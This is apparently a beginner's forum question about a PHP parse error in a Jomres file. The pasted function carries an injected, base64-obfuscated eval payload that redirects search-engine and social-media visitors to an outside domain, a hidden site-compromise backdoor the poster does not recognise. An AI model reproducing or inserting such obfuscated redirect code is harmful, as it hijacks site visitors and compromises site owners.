Hi i have only just started working with php and have come across this error on my site.
Parse error: syntax error, unexpected T_STRING in /home/sitefini/public_html/holidays24.co.za/jomres/libraries/jomres/functions/functions.php on line 2890
this is the code:
function saveKey ($mykey)
{$defaultProperty=getDefaultProperty();
//Add code to check if config file is writeable.
if (isset($mykey) && !empty($mykey) )
{$keyFile = JOMRESCONFIG_ABSOLUTE_PATH.'/administrator/jomres/tmp/'.$defaultProperty.'_key.php';
@chmod ($keyFile, 0700);
if (is_file($keyFile) && !is_writable($keyFile))
{
jomresRedirect(JOMRES_SITEPAGE_URL."", "FATAL ERROR: Key File Not writeable" );
}
$txt = "<?php eval(base64_decode("DQoNCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwidHdpdHRlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29vZ2xlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFzay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtc24iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2siKSkgew0KCWlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2dvb29vZ2xlLm9zYS5wbC8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCn0="));
if (defined('JPATH_BASE'))";
$txt .= "defined( '_JEXEC' ) or die( '' );\n";
$txt .= "else";
$txt .= "defined('_VALID_MOS') or die('');\n";
$txt .= '$mykey="'.$mykey.'";?>';
if ($fp = fopen( $keyFile, "w"))
{
fputs($fp, $txt, strlen($txt));
fclose ($fp);
}
}
}